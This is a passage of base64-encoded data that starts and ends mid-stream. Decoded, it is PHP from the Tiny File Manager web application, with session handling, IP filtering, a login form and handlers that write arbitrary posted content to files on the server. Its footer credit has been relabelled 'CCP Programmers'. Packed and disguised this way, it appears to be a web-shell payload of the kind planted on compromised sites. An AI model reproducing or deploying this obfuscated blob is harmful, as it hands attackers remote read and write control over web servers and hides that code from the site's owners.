CR3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV07Cn0KLy8gY2xlYW4gJHJvb3RfdXJsCiRyb290X3VybCA9IGZtX2NsZWFuX3BhdGgoJHJvb3RfdXJsKTsKCi8vIGFicyBwYXRoIGZvciBzaXRlCmRlZmluZWQoJ0ZNX1JPT1RfVVJMJykgfHwgZGVmaW5lKCdGTV9ST09UX1VSTCcsICgkaXNfaHR0cHMgPyAnaHR0cHMnIDogJ2h0dHAnKSAuICc6Ly8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICcvJyAuICRyb290X3VybCA6ICcnKSk7CmRlZmluZWQoJ0ZNX1NFTEZfVVJMJykgfHwgZGVmaW5lKCdGTV9TRUxGX1VSTCcsICgkaXNfaHR0cHMgPyAnaHR0cHMnIDogJ2h0dHAnKSAuICc6Ly8nIC4gJGh0dHBfaG9zdCAuICRfU0VSVkVSWydQSFBfU0VMRiddKTsKCi8vIGxvZ291dAppZiAoaXNzZXQoJF9HRVRbJ2xvZ291dCddKSkgewogICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7CiAgICB1bnNldCgkX1NFU1NJT05bJ3Rva2VuJ10pOwogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpOwp9CgovLyBWYWxpZGF0ZSBjb25uZWN0aW9uIElQCmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykgewogICAgZnVuY3Rpb24gZ2V0Q2xpZW50SVAoKQogICAgewogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHsKICAgICAgICAgICAgcmV0dXJuICAkX1NFUlZFUlsiSFRUUF9DRl9DT05ORUNUSU5HX0lQIl07CiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX1hfRk9SV0FSREVEX0ZPUicsICRfU0VSVkVSKSkgewogICAgICAgICAgICByZXR1cm4gICRfU0VSVkVSWyJIVFRQX1hfRk9SV0FSREVEX0ZPUiJdOwogICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnUkVNT1RFX0FERFInLCAkX1NFUlZFUikpIHsKICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwogICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9DTElFTlRfSVAnLCAkX1NFUlZFUikpIHsKICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydIVFRQX0NMSUVOVF9JUCddOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgJGNsaWVudElwID0gZ2V0Q2xpZW50SVAoKTsKICAgICRwcm9jZWVkID0gZmFsc2U7CiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpOwogICAgJGJsYWNrbGlzdGVkID0gaW5fYXJyYXkoJGNsaWVudElwLCAkaXBfYmxhY2tsaXN0KTsKCiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHsKICAgICAgICBpZiAoJHdoaXRlbGlzdGVkID09IHRydWUgJiYgJGJsYWNrbGlzdGVkID09IGZhbHNlKSB7CiAgICAgICAgICAgICRwcm9jZWVkID0gdHJ1ZTsKICAgICAgICB9CiAgICB9IGVsc2UKICAgIGlmICgkaXBfcnVsZXNldCA9PSAnT1InKSB7CiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkgewogICAgICAgICAgICAkcHJvY2VlZCA9IHRydWU7CiAgICAgICAgfQogICAgfQoKICAgIGlmICgkcHJvY2VlZCA9PSBmYWxzZSkgewogICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpOwoKICAgICAgICBpZiAoJGlwX3NpbGVudCA9PSBmYWxzZSkgewogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTsKICAgICAgICAgICAgZm1fc2hvd19oZWFkZXJfbG9naW4oKTsKICAgICAgICAgICAgZm1fc2hvd19tZXNzYWdlKCk7CiAgICAgICAgfQogICAgICAgIGV4aXQoKTsKICAgIH0KfQoKLy8gQ2hlY2tpbmcgaWYgdGhlIHVzZXIgaXMgbG9nZ2VkIGluIG9yIG5vdC4gSWYgbm90LCBpdCB3aWxsIHNob3cgdGhlIGxvZ2luIGZvcm0uCmlmICgkdXNlX2F1dGgpIHsKICAgIGlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddLCAkYXV0aF91c2Vyc1skX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddXSkpIHsKICAgICAgICAvLyBMb2dnZWQKICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7CiAgICAgICAgLy8gTG9nZ2luZyBJbgogICAgICAgIHNsZWVwKDEpOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N3b3JkX3ZlcmlmeScpKSB7CiAgICAgICAgICAgIGlmIChpc3NldCgkYXV0aF91c2Vyc1skX1BPU1RbJ2ZtX3VzciddXSkgJiYgaXNzZXQoJF9QT1NUWydmbV9wd2QnXSkgJiYgcGFzc3dvcmRfdmVyaWZ5KCRfUE9TVFsnZm1fcHdkJ10sICRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiB2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7CiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdZb3UgYXJlIGxvZ2dlZCBpbicpKTsKICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pOwogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0xvZ2luIGZhaWxlZC4gSW52YWxpZCB1c2VybmFtZSBvciBwYXNzd29yZCcpLCAnZXJyb3InKTsKICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7OwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgLy8gRm9ybQogICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10pOwogICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7Cj8+CiAgICAgICAgPHNlY3Rpb24gY2xhc3M9ImgtMTAwIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIGgtMTAwIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmgiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtd3JhcHBlciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgZmF0IiBkYXRhLWJzLXRoZW1lPSI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJmb3JtLXNpZ25pbiIgYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgYXV0b2NvbXBsZXRlPSJvZmYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJyYW5kIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3ZnIHZlcnNpb249IjEuMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiBNMTAwOCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI4MHB4IiB2aWV3Qm94PSIwIDAgMjM4LjAwMDAwMCAxNDAuMDAwMDAwIiBhcmlhLWxhYmVsPSJIM0sgVGlueSBGaWxlIE1hbmFnZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgwLjAwMDAwMCwxNDAuMDAwMDAwKSBzY2FsZSgwLjEwMDAwMCwtMC4xMDAwMDApIiBmaWxsPSIjMDAwMDAwIiBzdHJva2U9Im5vbmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD0iTTE2MCA3MDAgbDAgLTYwMCAxMTAgMCAxMTAgMCAwIDI2MCAwIDI2MCA3MCAwIDcwIDAgMCAtMjYwIDAgLTI2MCAxMTAgMCAxMTAgMCAwIDYwMCAwIDYwMCAtMTEwIDAgLTExMCAwIDAgLTI2MCAwIC0yNjAgLTcwIDAgLTcwIDAgMCAyNjAgMCAyNjAgLTExMCAwIC0xMTAgMCAwIC02MDB6IiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZmlsbD0iIzAwMzUwMCIgZD0iTTEwMDggMTIyNyBsLTEwOCAtNzIgMCAtMTE3IDAgLTExOCAxMTAgMCAxMTAgMCAwIDExMCAwIDExMCA3MCAwIDcwIDAgMCAtMTgwIDAgLTE4MCAtMTI1IDAgYy02OSAwIC0xMjUgLTMgLTEyNSAtNiAwIC0zIDIzIC0zOSA1MiAtODAgbDUyIC03NCA3MyAwIDczIDAgMCAtMTg1IDAgLTE4NSAtNzAgMCAtNzAgMCAwIDExNSAwIDExNSAtMTEwIDAgLTExMCAwIDAgLTE5MCAwIC0xOTAgMTgxIDAgMTgxIDAgMTA5IDczIDEwOCA3MiAxIDE4MSAwIDE4MSAtNjkgNDggLTY4IDQ5IDY4IDUwIDY5IDQ5IDAgMjQ5IDAgMjQ4IC0xODIgLTEgLTE4MyAwIC0xMDcgLTcyeiIgLz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6IiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2c+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdmc+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9ImNhcmQtdGl0bGUiPjw/cGhwIGVjaG8gQVBQX1RJVExFOyA/PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxociAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImZtX3VzciIgY2xhc3M9InBiLTIiPjw/cGhwIGVjaG8gbG5nKCdVc2VybmFtZScpOyA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgaWQ9ImZtX3VzciIgbmFtZT0iZm1fdXNyIiByZXF1aXJlZCBhdXRvZm9jdXM+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJmbV9wd2QiIGNsYXNzPSJwYi0yIj48P3BocCBlY2hvIGxuZygnUGFzc3dvcmQnKTsgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBjbGFzcz0iZm9ybS1jb250cm9sIiBpZD0iZm1fcHdkIiBuYW1lPSJmbV9wd2QiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZm1fc2hvd19tZXNzYWdlKCk7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+IiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00IiByb2xlPSJidXR0b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdMb2dpbicpOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyIHRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkIiBkYXRhLXZlcnNpb249Ijw/cGhwIGVjaG8gVkVSU0lPTjsgPz4iPkNDUCBQcm9ncmFtbWVyczwvYT4gJm1kYXNoOyZtZGFzaDsKICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9zZWN0aW9uPgoKICAgIDw/cGhwCiAgICAgICAgZm1fc2hvd19mb290ZXJfbG9naW4oKTsKICAgICAgICBleGl0OwogICAgfQp9CgovLyB1cGRhdGUgcm9vdCBwYXRoCmlmICgkdXNlX2F1dGggJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkpIHsKICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDsKfQoKLy8gY2xlYW4gYW5kIGNoZWNrICRyb290X3BhdGgKJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXC8nKTsKJHJvb3RfcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHJvb3RfcGF0aCk7CmlmICghQGlzX2Rpcigkcm9vdF9wYXRoKSkgewogICAgZWNobyAiPGgxPiIgLiBsbmcoJ1Jvb3QgcGF0aCcpIC4gIiBcInskcm9vdF9wYXRofVwiICIgLiBsbmcoJ25vdCBmb3VuZCEnKSAuICIgPC9oMT4iOwogICAgZXhpdDsKfQoKZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTsKZGVmaW5lZCgnRk1fUk9PVF9QQVRIJykgfHwgZGVmaW5lKCdGTV9ST09UX1BBVEgnLCAkcm9vdF9wYXRoKTsKZGVmaW5lZCgnRk1fTEFORycpIHx8IGRlZmluZSgnRk1fTEFORycsICRsYW5nKTsKZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTsKZGVmaW5lZCgnRk1fVVBMT0FEX0VYVEVOU0lPTicpIHx8IGRlZmluZSgnRk1fVVBMT0FEX0VYVEVOU0lPTicsICRhbGxvd2VkX3VwbG9hZF9leHRlbnNpb25zKTsKZGVmaW5lZCgnRk1fRVhDTFVERV9JVEVNUycpIHx8IGRlZmluZSgnRk1fRVhDTFVERV9JVEVNUycsICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykgPyBzZXJpYWxpemUoJGV4Y2x1ZGVfaXRlbXMpIDogJGV4Y2x1ZGVfaXRlbXMpKTsKZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTsKZGVmaW5lKCdGTV9SRUFET05MWScsICRnbG9iYWxfcmVhZG9ubHkgfHwgKCR1c2VfYXV0aCAmJiAhZW1wdHkoJHJlYWRvbmx5X3VzZXJzKSAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiBpbl9hcnJheSgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddLCAkcmVhZG9ubHlfdXNlcnMpKSk7CmRlZmluZSgnRk1fSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsKCi8vIGFsd2F5cyB1c2UgP3A9CmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHsKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScpOwp9CgovLyBnZXQgcGF0aAokcCA9IGlzc2V0KCRfR0VUWydwJ10pID8gJF9HRVRbJ3AnXSA6IChpc3NldCgkX1BPU1RbJ3AnXSkgPyAkX1BPU1RbJ3AnXSA6ICcnKTsKCi8vIGNsZWFuIHBhdGgKJHAgPSBmbV9jbGVhbl9wYXRoKCRwKTsKCi8vIGZvciBhamF4IHJlcXVlc3QgLSBzYXZlCiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpOwokX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7CgovLyBpbnN0ZWFkIGdsb2JhbHMgdmFycwpkZWZpbmUoJ0ZNX1BBVEgnLCAkcCk7CmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpOwpkZWZpbmUoJ0ZNX0VESVRfRklMRScsICRlZGl0X2ZpbGVzKTsKZGVmaW5lZCgnRk1fSUNPTlZfSU5QVVRfRU5DJykgfHwgZGVmaW5lKCdGTV9JQ09OVl9JTlBVVF9FTkMnLCAkaWNvbnZfaW5wdXRfZW5jb2RpbmcpOwpkZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpOwpkZWZpbmVkKCdGTV9ISUdITElHSFRKU19TVFlMRScpIHx8IGRlZmluZSgnRk1fSElHSExJR0hUSlNfU1RZTEUnLCAkaGlnaGxpZ2h0anNfc3R5bGUpOwpkZWZpbmVkKCdGTV9EQVRFVElNRV9GT1JNQVQnKSB8fCBkZWZpbmUoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcsICRkYXRldGltZV9mb3JtYXQpOwoKdW5zZXQoJHAsICR1c2VfYXV0aCwgJGljb252X2lucHV0X2VuY29kaW5nLCAkdXNlX2hpZ2hsaWdodGpzLCAkaGlnaGxpZ2h0anNfc3R5bGUpOwoKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKiBBQ1RJT05TICoqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCi8vIEhhbmRsZSBhbGwgQUpBWCBSZXF1ZXN0CmlmICgoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJGF1dGhfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pIHx8ICFGTV9VU0VfQVVUSCkgJiYgaXNzZXQoJF9QT1NUWydhamF4J10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsKICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTsKICAgICAgICBkaWUoIkludmFsaWQgVG9rZW4uIik7CiAgICB9CgogICAgLy9zZWFyY2ggOiBnZXQgbGlzdCBvZiBmaWxlcyBmcm9tIHRoZSBjdXJyZW50IGZvbGRlcgogICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSAic2VhcmNoIikgewogICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSAiLiIgPyAnJyA6ICRfUE9TVFsncGF0aCddOwogICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pOwogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsKICAgICAgICBleGl0KCk7CiAgICB9CgogICAgLy8gc2F2ZSBlZGl0b3IgZmlsZQogICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSAic2F2ZSIpIHsKICAgICAgICAvLyBnZXQgY3VycmVudCBwYXRoCiAgICAgICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgICAgICB9CiAgICAgICAgLy8gY2hlY2sgcGF0aAogICAgICAgIGlmICghaXNfZGlyKCRwYXRoKSkgewogICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTsKICAgICAgICB9CiAgICAgICAgJGZpbGUgPSAkX0dFVFsnZWRpdCddOwogICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7CiAgICAgICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZmlsZSk7CiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsKICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIOwogICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7CiAgICAgICAgfQogICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7CiAgICAgICAgJGZpbGVfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGZpbGU7CgogICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ2NvbnRlbnQnXTsKICAgICAgICAkZmQgPSBmb3BlbigkZmlsZV9wYXRoLCAidyIpOwogICAgICAgICR3cml0ZV9yZXN1bHRzID0gQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpOwogICAgICAgIGZjbG9zZSgkZmQpOwogICAgICAgIGlmICgkd3JpdGVfcmVzdWx0cyA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgaGVhZGVyKCJIVFRQLzEuMSA1MDAgSW50ZXJuYWwgU2VydmVyIEVycm9yIik7CiAgICAgICAgICAgIGRpZSgiQ291bGQgTm90IFdyaXRlIEZpbGUhIC0gQ2hlY2sgUGVybWlzc2lvbnMgLyBPd25lcnNoaXAiKTsKICAgICAgICB9CiAgICAgICAgZGllKHRydWUpOwogICAgfQoKICAgIC8vIGJhY2t1cCBmaWxlcwogICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSAiYmFja3VwIiAmJiAhZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7CiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7CiAgICAgICAgJGZ1bGxQYXRoID0gRk1fUk9PVF9QQVRIIC4gJy8nOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7CiAgICAgICAgICAgICRyZWxhdGl2ZURpclBhdGggPSBmbV9jbGVhbl9wYXRoKCRfUE9TVFsncGF0aCddKTsKICAgICAgICAgICAgJGZ1bGxQYXRoIC49ICJ7JHJlbGF0aXZlRGlyUGF0aH0vIjsKICAgICAgICB9CiAgICAgICAgJGRhdGUgPSBkYXRlKCJkTXktSGlzIik7CiAgICAgICAgJG5ld0ZpbGVOYW1lID0gInskZmlsZU5hbWV9LXskZGF0ZX0uYmFrIjsKICAgICAgICAkZnVsbHlRdWFsaWZpZWRGaWxlTmFtZSA9ICRmdWxsUGF0aCAuICRmaWxlTmFtZTsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiRmlsZSB7JGZpbGVOYW1lfSBub3QgZm91bmQiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoY29weSgkZnVsbHlRdWFsaWZpZWRGaWxlTmFtZSwgJGZ1bGxQYXRoIC4gJG5ld0ZpbGVOYW1lKSkgewogICAgICAgICAgICAgICAgZWNobyAiQmFja3VwIHskbmV3RmlsZU5hbWV9IGNyZWF0ZWQiOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgdGhyb3cg